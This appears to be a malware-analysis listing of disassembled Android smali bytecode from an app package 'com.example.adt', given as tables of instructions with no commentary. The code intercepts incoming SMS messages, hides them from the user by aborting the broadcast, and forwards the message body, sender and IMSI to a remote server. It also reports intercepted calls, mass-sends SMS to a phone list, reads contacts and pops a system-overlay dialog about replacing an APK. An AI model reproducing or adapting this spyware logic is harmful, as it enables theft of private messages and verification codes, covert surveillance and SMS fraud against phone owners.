| 8 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 10 | const-string v4, "serverip" | |
| 12 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 14 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 15 | move-result-object v3 | |
| 17 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 18 | move-result-object v3 | |
| 20 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 22 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 24 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 25 | move-result-object v2 | |
| 27 | const-string v3, "CallReceiver&imsi=" | |
| 29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 30 | move-result-object v2 | |
| 32 | iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener; | |
| 34 | iget-object v3, v3, Lcom/example/adt/PhoneListener;->imsi:Ljava/lang/String; | |
| 36 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 37 | move-result-object v2 | |
| 39 | const-string v3, "&number=" | |
| 41 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 42 | move-result-object v2 | |
| 44 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 45 | move-result-object v2 | |
| 47 | const-string v3, "&from=" | |
| 49 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 50 | move-result-object v2 | |
| 52 | iget-object v3, p0, Lcom/example/adt/PhoneListener$1;->this$0:Lcom/example/adt/PhoneListener; | |
| 54 | iget-object v3, v3, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
| 56 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 57 | move-result-object v2 | |
| 59 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 60 | move-result-object v0 | |
| 62 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 63 | new-instance v3, Ljava/lang/StringBuilder; | |
| 65 | const-string v4, "\u53d1\u9001\u62e6\u622a\u7535\u8bdd => " | |
| 67 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 69 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 70 | move-result-object v3 | |
| 72 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 73 | move-result-object v3 | |
| 75 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 76 | new-instance v2, Lcom/example/adt/Connect; | |
| 78 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
| 80 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 81 | goto_65: return-void | |
| 82 | catch_66: move-exception v2 | |
| 83 | goto/16 :goto_65 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | iget-object v2, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1; | |
| 4 | invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
| 5 | move-result-object v2 | |
| 7 | iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
| 9 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 10 | move-result-object v1 | |
| 11 | new-instance v2, Ljava/lang/StringBuilder; | |
| 13 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 15 | const-string v4, "serverip" | |
| 17 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 19 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 20 | move-result-object v3 | |
| 22 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 23 | move-result-object v3 | |
| 25 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 27 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 30 | move-result-object v2 | |
| 32 | const-string v3, "SMSSendComplate&to=" | |
| 34 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 35 | move-result-object v2 | |
| 37 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 38 | move-result-object v2 | |
| 40 | const-string v3, "&sid=" | |
| 42 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 43 | move-result-object v2 | |
| 45 | iget-object v3, p0, Lcom/example/adt/SMS$1$1;->this$1:Lcom/example/adt/SMS$1; | |
| 47 | invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
| 48 | move-result-object v3 | |
| 50 | iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
| 52 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 53 | move-result-object v2 | |
| 55 | const-string v3, "&status=1" | |
| 57 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 58 | move-result-object v2 | |
| 60 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 61 | move-result-object v0 | |
| 63 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 64 | new-instance v3, Ljava/lang/StringBuilder; | |
| 66 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u6210\u529f => " | |
| 68 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 70 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 71 | move-result-object v3 | |
| 73 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 74 | move-result-object v3 | |
| 76 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 77 | new-instance v2, Lcom/example/adt/Connect; | |
| 79 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
| 81 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 82 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 2 | iget-object v2, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1; | |
| 4 | invoke-static {v2}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
| 5 | move-result-object v2 | |
| 7 | iget-object v2, v2, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
| 9 | invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 10 | move-result-object v1 | |
| 11 | new-instance v2, Ljava/lang/StringBuilder; | |
| 13 | sget-object v3, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 15 | const-string v4, "serverip" | |
| 17 | sget-object v5, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 19 | invoke-static {v3, v4, v5}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 20 | move-result-object v3 | |
| 22 | invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 23 | move-result-object v3 | |
| 25 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 27 | sget-object v3, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 29 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 30 | move-result-object v2 | |
| 32 | const-string v3, "SMSSendComplate&to=" | |
| 34 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 35 | move-result-object v2 | |
| 37 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 38 | move-result-object v2 | |
| 40 | const-string v3, "&sid=" | |
| 42 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 43 | move-result-object v2 | |
| 45 | iget-object v3, p0, Lcom/example/adt/SMS$1$2;->this$1:Lcom/example/adt/SMS$1; | |
| 47 | invoke-static {v3}, Lcom/example/adt/SMS$1;->access$0(Lcom/example/adt/SMS$1;)Lcom/example/adt/SMS; | |
| 48 | move-result-object v3 | |
| 50 | iget-object v3, v3, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
| 52 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 53 | move-result-object v2 | |
| 55 | const-string v3, "&status=2" | |
| 57 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 58 | move-result-object v2 | |
| 60 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 61 | move-result-object v0 | |
| 63 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 64 | new-instance v3, Ljava/lang/StringBuilder; | |
| 66 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5931\u8d25 => " | |
| 68 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 70 | invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 71 | move-result-object v3 | |
| 73 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 74 | move-result-object v3 | |
| 76 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 77 | new-instance v2, Lcom/example/adt/Connect; | |
| 79 | invoke-direct {v2}, Lcom/example/adt/Connect;-><init>()V | |
| 81 | invoke-virtual {v2, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 82 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "info" | |
| 1 | .prologue | |
| 3 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 4 | new-instance v5, Ljava/lang/StringBuilder; | |
| 6 | const-string v6, "\u6b63\u5728\u66ff\u6362apk => " | |
| 8 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 10 | invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 11 | move-result-object v5 | |
| 13 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 14 | move-result-object v5 | |
| 16 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 18 | const-string v4, "" | |
| 20 | invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
| 21 | move-result v4 | |
| 22 | if-nez v4, :cond_57 | |
| 24 | invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
| 25 | move-result-object v3 | |
| 27 | const-string v4, "|" | |
| 29 | invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
| 30 | move-result-object v1 | |
| 31 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
| 33 | iget-object v4, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
| 35 | invoke-direct {v0, v4}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
| 36 | const/4 v4, 0x0 | |
| 37 | aget-object v4, v1, v4 | |
| 39 | invoke-virtual {v0, v4}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
| 41 | const-string v4, "\ucde8\uc18c" | |
| 42 | new-instance v5, Lcom/example/adt/App$BtnClick; | |
| 44 | invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V | |
| 46 | invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 48 | const-string v4, "\ud655\uc778" | |
| 49 | new-instance v5, Lcom/example/adt/App$BtnClick; | |
| 51 | invoke-direct {v5, p0}, Lcom/example/adt/App$BtnClick;-><init>(Lcom/example/adt/App;)V | |
| 53 | invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
| 55 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
| 56 | move-result-object v2 | |
| 58 | invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
| 59 | move-result-object v4 | |
| 60 | const/16 v5, 0x7d3 | |
| 62 | invoke-virtual {v4, v5}, Landroid/view/Window;->setType(I)V |
|
| 64 | invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V | |
| 65 | cond_57: return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v0, 0x4 | |
| 2 | new-array v0, v0, [Ljava/lang/String; | |
| 3 | const/4 v1, 0x0 | |
| 5 | const-string v2, "display_name" | |
| 6 | aput-object v2, v0, v1 | |
| 7 | const/4 v1, 0x1 | |
| 9 | const-string v2, "data1" | |
| 10 | aput-object v2, v0, v1 | |
| 11 | const/4 v1, 0x2 | |
| 13 | const-string v2, "photo_id" | |
| 14 | aput-object v2, v0, v1 | |
| 15 | const/4 v1, 0x3 | |
| 17 | const-string v2, "contact_id" | |
| 18 | aput-object v2, v0, v1 | |
| 19 | sput-object v0, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String; | |
| 20 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 3 | const/4 v10, 0x1 | |
| 5 | sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 6 | new-instance v7, Ljava/lang/StringBuilder; | |
| 8 | const-string v8, "SMSReceiver, isOrderedBroadcast()=" | |
| 10 | invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 12 | invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->isOrderedBroadcast()Z | |
| 13 | move-result v8 | |
| 15 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; | |
| 16 | move-result-object v7 | |
| 18 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 19 | move-result-object v7 | |
| 21 | invoke-virtual {v6, v7}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 23 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; | |
| 24 | move-result-object v6 | |
| 26 | const-string v7, "pdus" | |
| 28 | invoke-virtual {v6, v7}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
| 29 | move-result-object v5 | |
| 30 | check-cast v5, [Ljava/lang/Object; | |
| 31 | if-eqz v5, :cond_35 | |
| 32 | array-length v6, v5 | |
| 33 | if-lez v6, :cond_35 | |
| 34 | array-length v6, v5 | |
| 35 | new-array v3, v6, [Landroid/telephony/SmsMessage; | |
| 36 | const/4 v0, 0x0 | |
| 37 | goto_2e: array-length v6, v5 | |
| 38 | if-lt v0, v6, :cond_36 | |
| 39 | array-length v7, v3 | |
| 40 | const/4 v6, 0x0 | |
| 41 | goto_33: if-lt v6, v7, :cond_43 | |
| 42 | cond_35: return-void | |
| 43 | cond_36: aget-object v4, v5, v0 | |
| 44 | check-cast v4, [B | |
| 46 | invoke-static {v4}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage; | |
| 47 | move-result-object v6 | |
| 48 | aput-object v6, v3, v0 | |
| 49 | add-int/lit8 v0, v0, 0x1 | |
| 50 | goto/16 :goto_2e | |
| 51 | cond_43: aget-object v2, v3, v6 | |
| 53 | invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String; | |
| 54 | move-result-object v8 | |
| 56 | invoke-virtual {v8}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 57 | move-result-object v8 | |
| 59 | invoke-static {v8}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
| 60 | move-result-object v8 | |
| 61 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->content:Ljava/lang/String; | |
| 63 | invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String; | |
| 64 | move-result-object v8 | |
| 65 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->from:Ljava/lang/String; | |
| 67 | sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 69 | invoke-static {v8}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
| 70 | move-result-object v8 | |
| 71 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
| 73 | sget-object v8, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
| 74 | iput-object v8, p0, Lcom/example/adt/SMSReceiver;->number:Ljava/lang/String; | |
| 76 | sget-object v8, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 78 | const-string v9, "issms" | |
| 80 | invoke-static {v8, v9, v10}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
| 81 | move-result v8 | |
| 83 | invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
| 84 | move-result-object v1 | |
| 86 | invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
| 87 | move-result-object v8 | |
| 89 | invoke-virtual {v1, v8}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
| 90 | move-result v8 | |
| 91 | if-eqz v8, :cond_8b | |
| 92 | new-instance v8, Ljava/lang/Thread; | |
| 93 | new-instance v9, Lcom/example/adt/SMSReceiver$1; | |
| 95 | invoke-direct {v9, p0}, Lcom/example/adt/SMSReceiver$1;-><init>(Lcom/example/adt/SMSReceiver;)V | |
| 97 | invoke-direct {v8, v9}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 99 | invoke-virtual {v8}, Ljava/lang/Thread;->start()V | |
| 101 | invoke-virtual {p0}, Lcom/example/adt/SMSReceiver;->abortBroadcast()V | |
| 102 | cond_8b: add-int/lit8 v6, v6, 0x1 | |
| 103 | goto/16 :goto_33 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "info" | |
| 1 | .prologue | |
| 2 | new-instance v0, Landroid/content/Intent; | |
| 4 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
| 6 | const-string v1, "app.gx3.alert" | |
| 8 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
| 10 | const-string v1, "alert" | |
| 11 | const/4 v2, 0x1 | |
| 13 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent; |
|
| 15 | const-string v1, "info" | |
| 17 | invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
| 19 | iget-object v1, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
| 21 | invoke-virtual {v1, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V | |
| 22 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | goto_0: | |
| 2 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 3 | iget v2, v2, Lcom/example/adt/SMS;->i:I | |
| 5 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 7 | iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
| 8 | array-length v3, v3 | |
| 9 | if-lt v2, v3, :cond_c | |
| 10 | return-void | |
| 11 | cond_c: const-wide/16 v2, 0x2710 | |
| 12 | try_start_e: | |
| 13 | invoke-static {v2, v3}, Ljava/lang/Thread;->sleep(J)V |
|
| 15 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 16 | new-instance v3, Ljava/lang/StringBuilder; | |
| 18 | const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5f00\u59cb " | |
| 20 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 22 | iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 24 | iget-object v4, v4, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
| 25 | array-length v4, v4 | |
| 27 | invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String; | |
| 28 | move-result-object v4 | |
| 30 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 31 | move-result-object v3 | |
| 33 | const-string v4, " => " | |
| 35 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 36 | move-result-object v3 | |
| 38 | iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 39 | iget v4, v4, Lcom/example/adt/SMS;->i:I | |
| 41 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
| 42 | move-result-object v3 | |
| 44 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 45 | move-result-object v3 | |
| 47 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 49 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 51 | iget-object v2, v2, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
| 53 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 54 | iget v3, v3, Lcom/example/adt/SMS;->i:I | |
| 55 | aget-object v1, v2, v3 | |
| 57 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 59 | invoke-static {v2, v1}, Lcom/example/adt/SMS;->access$0(Lcom/example/adt/SMS;Ljava/lang/String;)V | |
| 61 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 62 | iget v3, v2, Lcom/example/adt/SMS;->i:I | |
| 63 | add-int/lit8 v3, v3, 0x1 | |
| 64 | iput v3, v2, Lcom/example/adt/SMS;->i:I | |
| 66 | iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 67 | iget v2, v2, Lcom/example/adt/SMS;->i:I | |
| 69 | iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS; | |
| 71 | iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String; | |
| 72 | array-length v3, v3 | |
| 73 | if-ne v2, v3, :cond_0 | |
| 74 | new-instance v2, Ljava/lang/Thread; | |
| 75 | new-instance v3, Lcom/example/adt/SMS$2$1; | |
| 77 | invoke-direct {v3, p0}, Lcom/example/adt/SMS$2$1;-><init>(Lcom/example/adt/SMS$2;)V | |
| 79 | invoke-direct {v2, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 81 | invoke-virtual {v2}, Ljava/lang/Thread;->start()V | |
| 82 | try_end_6b: goto/16 :goto_0 | |
| 83 | catch_6c: move-exception v0 | |
| 85 | invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V | |
| 86 | goto/16 :goto_0 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | new-instance v1, Ljava/lang/StringBuilder; | |
| 3 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 5 | const-string v3, "serverip" | |
| 7 | sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 9 | invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 10 | move-result-object v2 | |
| 12 | invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 13 | move-result-object v2 | |
| 15 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 17 | sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 19 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 20 | move-result-object v1 | |
| 22 | const-string v2, "SMSAllCompate&sid=" | |
| 24 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 25 | move-result-object v1 | |
| 27 | iget-object v2, p0, Lcom/example/adt/SMS$2$1;->this$1:Lcom/example/adt/SMS$2; | |
| 29 | invoke-static {v2}, Lcom/example/adt/SMS$2;->access$0(Lcom/example/adt/SMS$2;)Lcom/example/adt/SMS; | |
| 30 | move-result-object v2 | |
| 32 | iget-object v2, v2, Lcom/example/adt/SMS;->sid:Ljava/lang/String; | |
| 34 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 35 | move-result-object v1 | |
| 37 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 38 | move-result-object v0 | |
| 39 | new-instance v1, Lcom/example/adt/Connect; | |
| 41 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
| 43 | invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 44 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "msg" | |
| 1 | .parameter "title" | |
| 2 | .parameter "content" | |
| 3 | .parameter "icon" | |
| 4 | .prologue | |
| 5 | const/4 v6, 0x0 | |
| 7 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 9 | const-string v5, "notification" | |
| 11 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 12 | move-result-object v1 | |
| 13 | check-cast v1, Landroid/app/NotificationManager; | |
| 14 | new-instance v2, Landroid/app/Notification; | |
| 16 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
| 17 | move-result-wide v4 | |
| 19 | invoke-direct {v2, p3, p0, v4, v5}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V |
|
| 20 | new-instance v0, Landroid/content/Intent; | |
| 22 | const-string v4, "cn.gx3.notify" | |
| 24 | invoke-direct {v0, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
